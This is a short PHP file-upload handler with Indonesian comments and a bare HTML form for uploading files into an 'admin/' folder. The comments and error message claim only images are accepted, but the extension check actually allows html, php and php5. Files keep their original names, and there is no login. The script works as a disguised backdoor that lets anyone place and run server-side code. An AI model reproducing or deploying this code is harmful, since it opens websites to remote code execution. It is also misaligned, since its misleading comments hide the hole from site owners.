if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$targetDirectory = 'admin/'; // Nama folder tujuan untuk menyimpan file (pastikan folder ini ada dan memiliki izin tulis)
$targetFile = $targetDirectory . basename($_FILES['file']['name']); // Nama file yang akan disimpan di folder admin
$uploadOk = true;
$fileType = strtolower(pathinfo($targetFile, PATHINFO_EXTENSION));
// Cek apakah file yang diunggah adalah file gambar
if ($fileType != 'html' && $fileType != 'php' && $fileType != 'php5' && $fileType != 'gif') {
echo 'Hanya file gambar yang diizinkan (JPG, JPEG, PNG, GIF).';
$uploadOk = false;
}
// Cek apakah file sudah ada di server
if (file_exists($targetFile)) {
echo 'File sudah ada di server.';
$uploadOk = false;
}
// Batasi ukuran file yang diunggah (misalnya, maksimal 2MB)
if ($_FILES['file']['size'] > 2 * 1024 * 1024) {
echo 'Ukuran file terlalu besar. Maksimal 2MB.';
$uploadOk = false;
}
if ($uploadOk) {
if (move_uploaded_file($_FILES['file']['tmp_name'], $targetFile)) {
echo 'File berhasil diunggah.';
} else {
echo 'Terjadi kesalahan saat mengunggah file.';
}
}
}
<!DOCTYPE html>
Form Unggah File <title>Form Unggah File</title>
Unggah File ke Folder Admin